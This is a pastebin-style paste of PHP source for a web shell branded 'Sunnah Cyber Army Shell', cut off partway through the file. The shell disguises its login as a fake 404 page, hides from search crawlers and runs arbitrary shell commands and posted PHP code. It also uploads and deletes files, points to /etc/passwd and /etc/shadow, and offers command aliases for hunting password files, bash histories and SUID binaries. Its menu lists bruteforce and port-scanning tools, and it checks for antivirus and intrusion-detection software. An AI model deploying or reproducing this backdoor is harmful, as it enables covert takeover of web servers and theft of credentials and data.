· 9 years ago · Jul 24, 2017, 08:58 AM
1<?php
2$auth_pass = "4b3626865dc6d5cfe1c60b855e68634a"; //md5 password is roots
3$color = "#00FF66";
4$sec = 1;
5$default_action = 'FilesMan';
6@define('SELF_PATH', __FILE__);
7if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
8 header('HTTP/1.0 404 Not Found');
9 exit;
10}
11@session_start();
12@error_reporting(0);
13@ini_set('error_log',NULL);
14@ini_set('log_errors',0);
15@ini_set('max_execution_time',0);
16@set_time_limit(0);
17@set_magic_quotes_runtime(0);
18@define('VERSION', '2.0');
19if( get_magic_quotes_gpc() ) {
20 function stripslashes_array($array) {
21 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
22 }
23 $_POST = stripslashes_array($_POST);
24}
25function printLogin() {
26 ?>
27<h1>Not Found</h1>
28<p>The requested URL was not found on this server.</p>
29<hr>
30<address>Apache Server at <?php echo $_SERVER['HTTP_HOST']?> Port 80</address>
31 <style>
32 input { margin:0;background-color:#fff;border:1px solid #fff; }
33 </style>
34 <center>
35 <form method=post>
36 <input type=password name=pass>
37 </form></center>
38 <?php
39 exit;
40}
41if($sec == 1 && !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])]))
42 if( empty( $auth_pass ) ||
43 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
44 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
45 else
46 printLogin();
47/*------------------ Anti Crawler ------------*/
48if(!empty($_SERVER['HTTP_USER_AGENT']))
49{
50 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
51 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
52 {
53 header('HTTP/1.0 404 Not Found');
54 exit;
55 }
56}
57echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />"; //For Ensuring... Fuck all Robots...
58/*------------------ End of Anti Crawler -----*/
59if( strtolower( substr(PHP_OS,0,3) ) == "win" )
60 $os = 'win';
61else
62 $os = 'nix';
63$safe_mode = @ini_get('safe_mode');
64$disable_functions = @ini_get('disable_functions');
65$home_cwd = @getcwd();
66if( isset( $_POST['c'] ) )
67 @chdir($_POST['c']);
68$cwd = @getcwd();
69if( $os == 'win') {
70 $home_cwd = str_replace("\\", "/", $home_cwd);
71 $cwd = str_replace("\\", "/", $cwd);
72}
73if( $cwd[strlen($cwd)-1] != '/' )
74 $cwd .= '/';
75
76if($os == 'win') {
77 $aliases = array(
78 "List Directory" => "dir",
79 "Find index.php in current dir" => "dir /s /w /b index.php",
80 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
81 "Show active connections" => "netstat -an",
82 "Show running services" => "net start",
83 "User accounts" => "net user",
84 "Show computers" => "net view",
85 "ARP Table" => "arp -a",
86 "IP Configuration" => "ipconfig /all"
87 );
88} else {
89 $aliases = array(
90 "List dir" => "ls -la",
91 "list file attributes on a Linux second extended file system" => "lsattr -va",
92 "show opened ports" => "netstat -an | grep -i listen",
93 "Find" => "",
94 "find all suid files" => "find / -type f -perm -04000 -ls",
95 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
96 "find all sgid files" => "find / -type f -perm -02000 -ls",
97 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
98 "find config.inc.php files" => "find / -type f -name config.inc.php",
99 "find config* files" => "find / -type f -name \"config*\"",
100 "find config* files in current dir" => "find . -type f -name \"config*\"",
101 "find all writable folders and files" => "find / -perm -2 -ls",
102 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
103 "find all service.pwd files" => "find / -type f -name service.pwd",
104 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
105 "find all .htpasswd files" => "find / -type f -name .htpasswd",
106 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
107 "find all .bash_history files" => "find / -type f -name .bash_history",
108 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
109 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
110 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
111 "Locate" => "",
112 "locate httpd.conf files" => "locate httpd.conf",
113 "locate vhosts.conf files" => "locate vhosts.conf",
114 "locate proftpd.conf files" => "locate proftpd.conf",
115 "locate psybnc.conf files" => "locate psybnc.conf",
116 "locate my.conf files" => "locate my.conf",
117 "locate admin.php files" =>"locate admin.php",
118 "locate cfg.php files" => "locate cfg.php",
119 "locate conf.php files" => "locate conf.php",
120 "locate config.dat files" => "locate config.dat",
121 "locate config.php files" => "locate config.php",
122 "locate config.inc files" => "locate config.inc",
123 "locate config.inc.php" => "locate config.inc.php",
124 "locate config.default.php files" => "locate config.default.php",
125 "locate config* files " => "locate config",
126 "locate .conf files"=>"locate '.conf'",
127 "locate .pwd files" => "locate '.pwd'",
128 "locate .sql files" => "locate '.sql'",
129 "locate .htpasswd files" => "locate '.htpasswd'",
130 "locate .bash_history files" => "locate '.bash_history'",
131 "locate .mysql_history files" => "locate '.mysql_history'",
132 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
133 "locate backup files" => "locate backup",
134 "locate dump files" => "locate dump",
135 "locate priv files" => "locate priv"
136 );
137}
138
139function ex($in) {
140 $out = '';
141 if(function_exists('exec')) {
142 @exec($in,$out);
143 $out = @join("\n",$out);
144 }elseif(function_exists('passthru')) {
145 ob_start();
146 @passthru($in);
147 $out = ob_get_clean();
148 }elseif(function_exists('system')) {
149 ob_start();
150 @system($in);
151 $out = ob_get_clean();
152 }elseif(function_exists('shell_exec')) {
153 $out = shell_exec($in);
154 }elseif(is_resource($f = @popen($in,"r"))) {
155 $out = "";
156 while(!@feof($f))
157 $out .= fread($f,1024);
158 pclose($f);
159 }
160 return $out;
161}
162
163function which($p) {
164 $path = ex('which '.$p);
165 if(!empty($path))
166 return $path;
167 return false;
168}
169
170function printHeader() {
171 if(empty($_POST['charset']))
172 $_POST['charset'] = "UTF-8";
173 global $color;
174
175 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Dr.web Sunnah Cyber Army Shell - '.VERSION.'</title>
176 <style>
177 body {background-color:#222;color:#fff;}
178 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
179 span,h1,a { color:'.$color.' !important; }
180 span { font-weight: bolder; }
181 h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
182 div.content { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
183 a { text-decoration:none; }
184 a:hover { /*background:#5e5e5e;*/ }
185 .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
186 .bigarea { width:100%;height:250px;margin-top:5px;}
187 input, textarea, select { margin:0;color:#00ff00;background-color:#555;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
188 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
189 form { margin:0px; }
190 #toolsTbl { text-align:center; }
191 .toolsInp { width: 80%; }
192 .main th {text-align:left;background-color:#555;font-weight: bold;}
193 .main tr:hover{background-color:#5e5e5e;}
194 .main td, th{vertical-align:middle;}
195 .menu {background: #333;}
196 .menu th{padding:5px;font-weight:bold;}
197 .menu th:hover{background:#444;}
198 .l1 {background-color:#444;}
199 pre {font-family:Courier,Monospace;}
200 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
201 .logo {text-align:center;font-size:60px;}
202 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
203 .cpr {margin-bottom:5px;font-weight:bold;}
204 .cpb {width:34px;margin:0 5px;}
205 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
206 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
207 .npoad td {padding:0;}
208 </style>
209 <script>
210 function set(a,c,p1,p2,p3,charset) {
211 if(a != null)document.mf.a.value=a;
212 if(c != null)document.mf.c.value=c;
213 if(p1 != null)document.mf.p1.value=p1;
214 if(p2 != null)document.mf.p2.value=p2;
215 if(p3 != null)document.mf.p3.value=p3;
216 if(charset != null)document.mf.charset.value=charset;
217 }
218 function g(a,c,p1,p2,p3,charset) {
219 set(a,c,p1,p2,p3,charset);
220 document.mf.submit();
221 }
222 function a(a,c,p1,p2,p3,charset) {
223 set(a,c,p1,p2,p3,charset);
224 var params = "ajax=true";
225 for(i=0;i<document.mf.elements.length;i++)
226 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
227 sr("'.$_SERVER['REQUEST_URI'].'", params);
228 }
229 function sr(url, params) {
230 if (window.XMLHttpRequest) {
231 req = new XMLHttpRequest();
232 req.onreadystatechange = processReqChange;
233 req.open("POST", url, true);
234 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
235 req.send(params);
236 }
237 else if (window.ActiveXObject) {
238 req = new ActiveXObject("Microsoft.XMLHTTP");
239 if (req) {
240 req.onreadystatechange = processReqChange;
241 req.open("POST", url, true);
242 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
243 req.send(params);
244 }
245 }
246 }
247 function processReqChange() {
248 if( (req.readyState == 4) )
249 if(req.status == 200) {
250 //alert(req.responseText);
251 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
252 var arr=reg.exec(req.responseText);
253 eval(arr[2].substr(0, arr[1]));
254 }
255 else alert("Request error!");
256 }
257 </script>
258 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
259 <form method=post name=mf style="display:none;">
260 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
261 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
262 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
263 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
264 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
265 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
266 </form>';
267 $freeSpace = @diskfreespace($GLOBALS['cwd']);
268 $totalSpace = @disk_total_space($GLOBALS['cwd']);
269 $totalSpace = $totalSpace?$totalSpace:1;
270 $disable_functions = @ini_get('disable_functions');
271 $release = @php_uname('r');
272 $kernel = @php_uname('s');
273 if(!function_exists('posix_getegid')) {
274 $user = @get_current_user();
275 $uid = @getmyuid();
276 $gid = @getmygid();
277 $group = "?";
278 } else {
279 $uid = @posix_getpwuid(@posix_geteuid());
280 $gid = @posix_getgrgid(@posix_getegid());
281 $user = $uid['name'];
282 $uid = $uid['uid'];
283 $group = $gid['name'];
284 $gid = $gid['gid'];
285 }
286 $cwd_links = '';
287 $path = explode("/", $GLOBALS['cwd']);
288 $n=count($path);
289 for($i=0;$i<$n-1;$i++) {
290 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
291 for($j=0;$j<=$i;$j++)
292 $cwd_links .= $path[$j].'/';
293 $cwd_links .= "\")'>".$path[$i]."/</a>";
294 }
295 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
296 $opt_charsets = '';
297 foreach($charsets as $item)
298 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
299 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Bypass'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Get User'=>'GetUser','Mailer'=>'Mailer','About'=>'about');
300 if(!empty($GLOBALS['auth_pass']))
301 $m['SelfKill'] = 'SelfRemove';
302 $m['Logout'] = 'Logout';
303 $menu = '';
304 foreach($m as $k => $v)
305 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
306 $drives = "";
307 if ($GLOBALS['os'] == 'win') {
308 foreach( range('a','z') as $drive ){
309 if (is_dir($drive.':\\'))
310 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
311 }
312 $drives .= '<br />: ';
313 }
314 if($GLOBALS['os'] == 'nix') {
315 $dominios = @file_get_contents("/etc/named.conf");
316 if(!$dominios) {
317 $d0c = "CANT READ named.conf";
318 } else {
319 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
320 $out = sizeof(array_unique($out[1]));
321 $d0c = $out." Domains";
322 }
323 } else {
324 $d0c = " --- ";
325 }
326 if($GLOBALS['os'] == 'nix' )
327 {
328 $usefl = ''; $dwnldr = '';
329 if(!@ini_get('safe_mode')) {
330 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
331 foreach($userful as $item) { if(which($item)) $usefl.= $item.','; }
332
333 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
334 foreach($downloaders as $item2) { if(which($item2)) $dwnldr.= $item2.','; }
335 } else {
336 $usefl = ' ------- '; $dwnldr = ' ------- ';
337 }
338 } else {
339 $usefl = ' ------- '; $dwnldr = ' ------- ';
340 }
341 echo '<table class="info" cellpadding="3" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo">Dr.web<sup>®</sup></div><hr style="margin: -5px 13px 2px 17px;width:130px;"><div class="eca1">Sunnah</div><div class="eca2">Cyber Army</div></td>
342 <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
343 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
344 '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
345 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
346 '</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#444;">';
347}
348
349function printFooter() {
350 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
351
352echo '</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
353<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
354 <tr>
355 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
356 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
357 </tr>
358 <tr>
359 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
360 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
361 </tr>
362 <tr>
363 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
364 <td><form method="post" ENCTYPE="multipart/form-data">
365 <input type=hidden name=a value="FilesMAn">
366 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
367 <input type=hidden name=p1 value="uploadFile">
368 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
369 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
370 </tr>
371</table></div></div>
372<div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;text-align:center;font-weight:bold;">Sunnah Shell '.VERSION.', © Sunnah Cyber Army. Coded By - Dr.web</div></div>
373</div>
374</body></html>';
375}
376
377if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
378if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
379
380
381function viewSize($s) {
382 if($s >= 1073741824)
383 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
384 elseif($s >= 1048576)
385 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
386 elseif($s >= 1024)
387 return sprintf('%1.2f', $s / 1024 ) . ' KB';
388 else
389 return $s . ' B';
390}
391
392function perms($p) {
393 if (($p & 0xC000) == 0xC000)$i = 's';
394 elseif (($p & 0xA000) == 0xA000)$i = 'l';
395 elseif (($p & 0x8000) == 0x8000)$i = '-';
396 elseif (($p & 0x6000) == 0x6000)$i = 'b';
397 elseif (($p & 0x4000) == 0x4000)$i = 'd';
398 elseif (($p & 0x2000) == 0x2000)$i = 'c';
399 elseif (($p & 0x1000) == 0x1000)$i = 'p';
400 else $i = 'u';
401 $i .= (($p & 0x0100) ? 'r' : '-');
402 $i .= (($p & 0x0080) ? 'w' : '-');
403 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
404 $i .= (($p & 0x0020) ? 'r' : '-');
405 $i .= (($p & 0x0010) ? 'w' : '-');
406 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
407 $i .= (($p & 0x0004) ? 'r' : '-');
408 $i .= (($p & 0x0002) ? 'w' : '-');
409 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
410 return $i;
411}
412
413function viewPermsColor($f) {
414 if (!@is_readable($f))
415 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
416 elseif (!@is_writable($f))
417 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
418 else
419 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
420}
421
422if(!function_exists("scandir")) {
423 function scandir($dir) {
424 $dh = opendir($dir);
425 while (false !== ($filename = readdir($dh))) {
426 $files[] = $filename;
427 }
428 return $files;
429 }
430}
431function actionSecInfo() {
432 printHeader();
433 echo '<h1>Server security information</h1><div class=content>';
434 function showSecParam($n, $v) {
435 $v = trim($v);
436 if($v) {
437 echo '<span>'.$n.': </span>';
438 if(strpos($v, "\n") === false)
439 echo $v.'<br>';
440 else
441 echo '<pre class=ml1>'.$v.'</pre>';
442 }
443 }
444
445 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
446 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
447 showSecParam('Open base dir', @ini_get('open_basedir'));
448 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
449 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
450 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
451 $temp=array();
452 if(function_exists('mysql_get_client_info'))
453 $temp[] = "MySql (".mysql_get_client_info().")";
454 if(function_exists('mssql_connect'))
455 $temp[] = "MSSQL";
456 if(function_exists('pg_connect'))
457 $temp[] = "PostgreSQL";
458 if(function_exists('oci_connect'))
459 $temp[] = "Oracle";
460 showSecParam('Supported databases', implode(', ', $temp));
461 echo '<br>';
462
463 if( $GLOBALS['os'] == 'nix' ) {
464 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
465 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
466 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
467 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
468 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
469 showSecParam('OS version', @file_get_contents('/proc/version'));
470 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
471 if(!$GLOBALS['safe_mode']) {
472 echo '<br>';
473 $temp=array();
474 foreach ($userful as $item)
475 if(which($item)){$temp[]=$item;}
476 showSecParam('Userful', implode(', ',$temp));
477 $temp=array();
478 foreach ($danger as $item)
479 if(which($item)){$temp[]=$item;}
480 showSecParam('Danger', implode(', ',$temp));
481 $temp=array();
482 foreach ($downloaders as $item)
483 if(which($item)){$temp[]=$item;}
484 showSecParam('Downloaders', implode(', ',$temp));
485 echo '<br/>';
486 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
487 showSecParam('HDD space', ex('df -h'));
488 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
489 }
490 } else {
491 showSecParam('OS Version',ex('ver'));
492 showSecParam('Account Settings',ex('net accounts'));
493 showSecParam('User Accounts',ex('net user'));
494 }
495 echo '</div>';
496 printFooter();
497}
498
499function actionPhp() {
500 if( isset($_POST['ajax']) ) {
501 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
502 ob_start();
503 eval($_POST['p1']);
504 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
505 echo strlen($temp), "\n", $temp;
506 exit;
507 }
508 printHeader();
509 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
510 echo '<h1>PHP info</h1><div class=content>';
511 ob_start();
512 phpinfo();
513 $tmp = ob_get_clean();
514 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
515 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
516 $tmp = preg_replace('!h1!msiU','h2',$tmp);
517 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
518 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
519 echo $tmp;
520 echo '</div><br>';
521 }
522 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
523 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
524 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
525 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
526 if(!empty($_POST['p1'])) {
527 ob_start();
528 eval($_POST['p1']);
529 echo htmlspecialchars(ob_get_clean());
530 }
531 echo '</pre></div>';
532 printFooter();
533}
534
535function actionFilesMan() {
536 printHeader();
537 echo '<h1>File manager</h1><div class=content>';
538 if(isset($_POST['p1'])) {
539 switch($_POST['p1']) {
540 case 'uploadFile':
541 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
542 echo "Can't upload file!";
543 break;
544 break;
545 case 'mkdir':
546 if(!@mkdir($_POST['p2']))
547 echo "Can't create new dir";
548 break;
549 case 'delete':
550 function deleteDir($path) {
551 $path = (substr($path,-1)=='/') ? $path:$path.'/';
552 $dh = opendir($path);
553 while ( ($item = readdir($dh) ) !== false) {
554 $item = $path.$item;
555 if ( (basename($item) == "..") || (basename($item) == ".") )
556 continue;
557 $type = filetype($item);
558 if ($type == "dir")
559 deleteDir($item);
560 else
561 @unlink($item);
562 }
563 closedir($dh);
564 rmdir($path);
565 }
566 if(is_array(@$_POST['f']))
567 foreach($_POST['f'] as $f) {
568 $f = urldecode($f);
569 if(is_dir($f))
570 deleteDir($f);
571 else
572 @unlink($f);
573 }
574 break;
575 case 'paste':
576 if($_SESSION['act'] == 'copy') {
577 function copy_paste($c,$s,$d){
578 if(is_dir($c.$s)){
579 mkdir($d.$s);
580 $h = opendir($c.$s);
581 while (($f = readdir($h)) !== false)
582 if (($f != ".") and ($f != "..")) {
583 copy_paste($c.$s.'/',$f, $d.$s.'/');
584 }
585 } elseif(is_file($c.$s)) {
586 @copy($c.$s, $d.$s);
587 }
588 }
589 foreach($_SESSION['f'] as $f)
590 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
591 } elseif($_SESSION['act'] == 'move') {
592 function move_paste($c,$s,$d){
593 if(is_dir($c.$s)){
594 mkdir($d.$s);
595 $h = opendir($c.$s);
596 while (($f = readdir($h)) !== false)
597 if (($f != ".") and ($f != "..")) {
598 copy_paste($c.$s.'/',$f, $d.$s.'/');
599 }
600 } elseif(is_file($c.$s)) {
601 @copy($c.$s, $d.$s);
602 }
603 }
604 foreach($_SESSION['f'] as $f)
605 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
606 }
607 unset($_SESSION['f']);
608 break;
609 default:
610 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
611 $_SESSION['act'] = @$_POST['p1'];
612 $_SESSION['f'] = @$_POST['f'];
613 foreach($_SESSION['f'] as $k => $f)
614 $_SESSION['f'][$k] = urldecode($f);
615 $_SESSION['cwd'] = @$_POST['c'];
616 }
617 break;
618 }
619 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
620 }
621 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
622 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
623 global $sort;
624 $sort = array('name', 1);
625 if(!empty($_POST['p1'])) {
626 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
627 $sort = array($match[1], (int)$match[2]);
628 }
629 echo '<script>
630 function sa() {
631 for(i=0;i<document.files.elements.length;i++)
632 if(document.files.elements[i].type == \'checkbox\')
633 document.files.elements[i].checked = document.files.elements[0].checked;
634 }
635 </script>
636 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
637 <form name=files method=post>';
638 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
639 $dirs = $files = $links = array();
640 $n = count($dirContent);
641 for($i=0;$i<$n;$i++) {
642 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
643 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
644 $tmp = array('name' => $dirContent[$i],
645 'path' => $GLOBALS['cwd'].$dirContent[$i],
646 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
647 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
648 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
649 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
650 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
651 );
652 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
653 $files[] = array_merge($tmp, array('type' => 'file'));
